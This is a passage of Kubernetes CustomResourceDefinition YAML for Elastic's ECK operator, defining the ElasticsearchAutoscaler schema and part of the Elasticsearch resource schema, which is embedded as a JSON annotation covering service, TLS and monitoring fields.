      kind: ElasticsearchAutoscaler
      listKind: ElasticsearchAutoscalerList
      plural: elasticsearchautoscalers
      shortNames:
      - esa
      singular: elasticsearchautoscaler
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .spec.elasticsearchRef.name
        name: Target
        type: string
      - jsonPath: .status.conditions[?(@.type=='Active')].status
        name: Active
        type: string
      - jsonPath: .status.conditions[?(@.type=='Healthy')].status
        name: Healthy
        type: string
      - jsonPath: .status.conditions[?(@.type=='Limited')].status
        name: Limited
        type: string
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: ElasticsearchAutoscaler represents an ElasticsearchAutoscaler
            resource in a Kubernetes cluster.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ElasticsearchAutoscalerSpec holds the specification of
                an Elasticsearch autoscaler resource.
              properties:
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to an Elasticsearch
                    cluster that exists in the same namespace.
                  properties:
                    name:
                      description: Name is the name of the Elasticsearch resource
                        to scale automatically.
                      minLength: 1
                      type: string
                  type: object
                policies:
                  items:
                    description: AutoscalingPolicySpec holds a named autoscaling policy
                      and the associated resources limits (cpu, memory, storage).
                    properties:
                      deciders:
                        additionalProperties:
                          additionalProperties:
                            type: string
                          description: |-
                            DeciderSettings allow the user to tweak autoscaling deciders.
                            The map data structure complies with the <key,value> format expected by Elasticsearch.
                          type: object
                        description: Deciders allow the user to override default settings
                          for autoscaling deciders.
                        type: object
                      name:
                        description: Name identifies the autoscaling policy in the
                          autoscaling specification.
                        type: string
                      resources:
                        description: |-
                          AutoscalingResources model the limits, submitted by the user, for the supported resources in an autoscaling policy.
                          Only the node count range is mandatory. For other resources, a limit range is required only
                          if the Elasticsearch autoscaling capacity API returns a requirement for a given resource.
                          For example, the memory limit range is only required if the autoscaling API response contains a memory requirement.
                          If there is no limit range for a resource, and if that resource is not mandatory, then the resources in the NodeSets
                          managed by the autoscaling policy are left untouched.
                        properties:
                          cpu:
                            description: QuantityRange models a resource limit range
                              for resources which can be expressed with resource.Quantity.
                            properties:
                              max:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Max represents the upper limit for the
                                  resources managed by the autoscaler.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                              min:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Min represents the lower limit for the
                                  resources managed by the autoscaler.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                              requestsToLimitsRatio:
                                anyOf:
                                - type: integer
                                - type: string
                                description: RequestsToLimitsRatio allows to customize
                                  Kubernetes resource Limit based on the Request.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                            required:
                            - max
                            - min
                            type: object
                          memory:
                            description: QuantityRange models a resource limit range
                              for resources which can be expressed with resource.Quantity.
                            properties:
                              max:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Max represents the upper limit for the
                                  resources managed by the autoscaler.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                              min:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Min represents the lower limit for the
                                  resources managed by the autoscaler.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                              requestsToLimitsRatio:
                                anyOf:
                                - type: integer
                                - type: string
                                description: RequestsToLimitsRatio allows to customize
                                  Kubernetes resource Limit based on the Request.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                            required:
                            - max
                            - min
                            type: object
                          nodeCount:
                            description: NodeCountRange is used to model the minimum
                              and the maximum number of nodes over all the NodeSets
                              managed by the same autoscaling policy.
                            properties:
                              max:
                                description: Max represents the maximum number of
                                  nodes in a tier.
                                format: int32
                                type: integer
                              min:
                                description: Min represents the minimum number of
                                  nodes in a tier.
                                format: int32
                                type: integer
                            required:
                            - max
                            - min
                            type: object
                          storage:
                            description: QuantityRange models a resource limit range
                              for resources which can be expressed with resource.Quantity.
                            properties:
                              max:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Max represents the upper limit for the
                                  resources managed by the autoscaler.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                              min:
                                anyOf:
                                - type: integer
                                - type: string
                                description: Min represents the lower limit for the
                                  resources managed by the autoscaler.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                              requestsToLimitsRatio:
                                anyOf:
                                - type: integer
                                - type: string
                                description: RequestsToLimitsRatio allows to customize
                                  Kubernetes resource Limit based on the Request.
                                pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                x-kubernetes-int-or-string: true
                            required:
                            - max
                            - min
                            type: object
                        required:
                        - nodeCount
                        type: object
                      roles:
                        description: An autoscaling policy must target a unique set
                          of roles.
                        items:
                          type: string
                        type: array
                    required:
                    - resources
                    type: object
                  type: array
                pollingPeriod:
                  description: PollingPeriod is the period at which to synchronize
                    with the Elasticsearch autoscaling API.
                  type: string
              required:
              - policies
              type: object
            status:
              properties:
                conditions:
                  description: Conditions holds the current service state of the autoscaling
                    controller.
                  items:
                    description: |-
                      Condition represents Elasticsearch resource's condition.
                      **This API is in technical preview and may be changed or removed in a future release.**
                    properties:
                      lastTransitionTime:
                        format: date-time
                        type: string
                      message:
                        type: string
                      status:
                        type: string
                      type:
                        description: ConditionType defines the condition of an Elasticsearch
                          resource.
                        type: string
                    required:
                    - status
                    - type
                    type: object
                  type: array
                observedGeneration:
                  description: ObservedGeneration is the last observed generation
                    by the controller.
                  format: int64
                  type: integer
                policies:
                  description: AutoscalingPolicyStatuses is used to expose state messages
                    to user or external system.
                  items:
                    properties:
                      lastModificationTime:
                        description: LastModificationTime is the last time the resources
                          have been updated, used by the cooldown algorithm.
                        format: date-time
                        type: string
                      name:
                        description: Name is the name of the autoscaling policy
                        type: string
                      nodeSets:
                        description: NodeSetNodeCount holds the number of nodes for
                          each nodeSet.
                        items:
                          description: NodeSetNodeCount models the number of nodes
                            expected in a given NodeSet.
                          properties:
                            name:
                              description: Name of the Nodeset.
                              type: string
                            nodeCount:
                              description: NodeCount is the number of nodes, as computed
                                by the autoscaler, expected in this NodeSet.
                              format: int32
                              type: integer
                          required:
                          - name
                          - nodeCount
                          type: object
                        type: array
                      resources:
                        description: |-
                          ResourcesSpecification holds the resource values common to all the nodeSets managed by a same autoscaling policy.
                          Only the resources managed by the autoscaling controller are saved in the Status.
                        properties:
                          limits:
                            additionalProperties:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            description: ResourceList is a set of (resource name,
                              quantity) pairs.
                            type: object
                          requests:
                            additionalProperties:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            description: ResourceList is a set of (resource name,
                              quantity) pairs.
                            type: object
                        type: object
                      state:
                        description: PolicyStates may contain various messages regarding
                          the current state of this autoscaling policy.
                        items:
                          properties:
                            messages:
                              items:
                                type: string
                              type: array
                            type:
                              type: string
                          required:
                          - messages
                          - type
                          type: object
                        type: array
                    required:
                    - name
                    type: object
                  type: array
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: ElasticsearchAutoscaler
      listKind: ElasticsearchAutoscalerList
      plural: elasticsearchautoscalers
      shortNames:
      - esa
      singular: elasticsearchautoscaler
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:00Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:00Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1alpha1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"elasticsearches.elasticsearch.k8s.elastic.co"},"spec":{"group":"elasticsearch.k8s.elastic.co","names":{"categories":["elastic"],"kind":"Elasticsearch","listKind":"ElasticsearchList","plural":"elasticsearches","shortNames":["es"],"singular":"elasticsearch"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"jsonPath":".status.health","name":"health","type":"string"},{"description":"Available nodes","jsonPath":".status.availableNodes","name":"nodes","type":"integer"},{"description":"Elasticsearch version","jsonPath":".status.version","name":"version","type":"string"},{"jsonPath":".status.phase","name":"phase","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"age","type":"date"}],"name":"v1","schema":{"openAPIV3Schema":{"description":"Elasticsearch represents an Elasticsearch resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"ElasticsearchSpec holds the specification of an Elasticsearch cluster.","properties":{"auth":{"description":"Auth contains user authentication and authorization security settings for Elasticsearch.","properties":{"disableElasticUser":{"description":"DisableElasticUser disables the default elastic user that is created by ECK.","type":"boolean"},"fileRealm":{"description":"FileRealm to propagate to the Elasticsearch cluster.","items":{"description":"FileRealmSource references users to create in the Elasticsearch cluster.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"type":"array"},"roles":{"description":"Roles to propagate to the Elasticsearch cluster.","items":{"description":"RoleSource references roles to create in the Elasticsearch cluster.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"http":{"description":"HTTP holds HTTP layer settings for Elasticsearch.","properties":{"service":{"description":"Service defines the template for the associated Kubernetes Service object.","properties":{"metadata":{"description":"ObjectMeta is the metadata of the service.\nThe name and namespace provided here are managed by ECK and will be ignored.","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"Spec is the specification of the service.","properties":{"allocateLoadBalancerNodePorts":{"description":"allocateLoadBalancerNodePorts defines if NodePorts will be automatically\nallocated for services with type LoadBalancer.  Default is \"true\". It\nmay be set to \"false\" if the cluster load-balancer does not rely on\nNodePorts.  If the caller requests specific NodePorts (by specifying a\nvalue), those requests will be respected, regardless of this field.\nThis field may only be set for services with type LoadBalancer and will\nbe cleared if the type is changed to any other type.","type":"boolean"},"clusterIP":{"description":"clusterIP is the IP address of the service and is usually assigned\nrandomly. If an address is specified manually, is in-range (as per\nsystem configuration), and is not in use, it will be allocated to the\nservice; otherwise creation of the service will fail. This field may not\nbe changed through updates unless the type field is also being changed\nto ExternalName (which requires this field to be blank) or the type\nfield is being changed from ExternalName (in which case this field may\noptionally be specified, as describe above).  Valid values are \"None\",\nempty string (\"\"), or a valid IP address. Setting this to \"None\" makes a\n\"headless service\" (no virtual IP), which is useful when direct endpoint\nconnections are preferred and proxying is not required.  Only applies to\ntypes ClusterIP, NodePort, and LoadBalancer. If this field is specified\nwhen creating a Service of type ExternalName, creation will fail. This\nfield will be wiped when updating a Service to type ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"clusterIPs":{"description":"ClusterIPs is a list of IP addresses assigned to this service, and are\nusually assigned randomly.  If an address is specified manually, is\nin-range (as per system configuration), and is not in use, it will be\nallocated to the service; otherwise creation of the service will fail.\nThis field may not be changed through updates unless the type field is\nalso being changed to ExternalName (which requires this field to be\nempty) or the type field is being changed from ExternalName (in which\ncase this field may optionally be specified, as describe above).  Valid\nvalues are \"None\", empty string (\"\"), or a valid IP address.  Setting\nthis to \"None\" makes a \"headless service\" (no virtual IP), which is\nuseful when direct endpoint connections are preferred and proxying is\nnot required.  Only applies to types ClusterIP, NodePort, and\nLoadBalancer. If this field is specified when creating a Service of type\nExternalName, creation will fail. This field will be wiped when updating\na Service to type ExternalName.  If this field is not specified, it will\nbe initialized from the clusterIP field.  If this field is specified,\nclients must ensure that clusterIPs[0] and clusterIP have the same\nvalue.\n\n\nThis field may hold a maximum of two entries (dual-stack IPs, in either order).\nThese IPs must correspond to the values of the ipFamilies field. Both\nclusterIPs and ipFamilies are governed by the ipFamilyPolicy field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalIPs":{"description":"externalIPs is a list of IP addresses for which nodes in the cluster\nwill also accept traffic for this service.  These IPs are not managed by\nKubernetes.  The user is responsible for ensuring that traffic arrives\nat a node with this IP.  A common example is external load-balancers\nthat are not part of the Kubernetes system.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"externalName":{"description":"externalName is the external reference that discovery mechanisms will\nreturn as an alias for this service (e.g. a DNS CNAME record). No\nproxying will be involved.  Must be a lowercase RFC-1123 hostname\n(https://tools.ietf.org/html/rfc1123) and requires `type` to be \"ExternalName\".","type":"string"},"externalTrafficPolicy":{"description":"externalTrafficPolicy describes how nodes distribute service traffic they\nreceive on one of the Service's \"externally-facing\" addresses (NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"image":{"description":"Image is the Elasticsearch Docker image to deploy.","type":"string"},"monitoring":{"description":"Monitoring enables you to collect and ship log and monitoring data of this Elasticsearch cluster.\nSee https://www.elastic.co/guide/en/elasticsearch/reference/current/monitor-elasticsearch-cluster.html.\nMetricbeat and Filebeat are deployed in the same Pod as sidecars and each one sends data to one or two different\nElasticsearch monitoring clusters running in the same Kubernetes cluster.","properties":{"logs":{"description":"Logs holds references to Elasticsearch clusters which receive log data from an associated resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or serviceName.","type":"string"},"serviceName":{"description":"ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced\nobject. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of\nthe referenced resource is used.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"},"metrics":{"description":"Metrics holds references to Elasticsearch clusters which receive monitoring data from this resource.","properties":{"elasticsearchRefs":{"description":"ElasticsearchRefs is a reference to a list of monitoring Elasticsearch clusters running in the same Kubernetes cluster.\nDue to existing limitations, only a single Elasticsearch cluster is currently supported.","items":{"description":"ObjectSelector defines a reference to a Kubernetes object which can be an Elastic resource managed by the operator\nor a Secret describing an external Elastic resource not managed by the operator.","properties":{"name":{"description":"Name of an existing Kubernetes object corresponding to an Elastic resource managed by ECK.","type":"string"},"namespace":{"description":"Namespace of the Kubernetes object. If empty, defaults to the current namespace.","type":"string"},"secretName":{"description":"SecretName is the name of an existing Kubernetes secret that contains connection information for associating an\nElastic resource not managed by the operator. The referenced secret must contain the following:\n- `url`: the URL to reach the Elastic resource\n- `username`: the username of the user to be authenticated to the Elastic resource\n- `password`: the password of the user to be authenticated to the Elastic resource\n- `ca.crt`: the CA certificate in PEM format (optional)\n- `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)\nThis field cannot be used in combination with the other fields name, namespace or 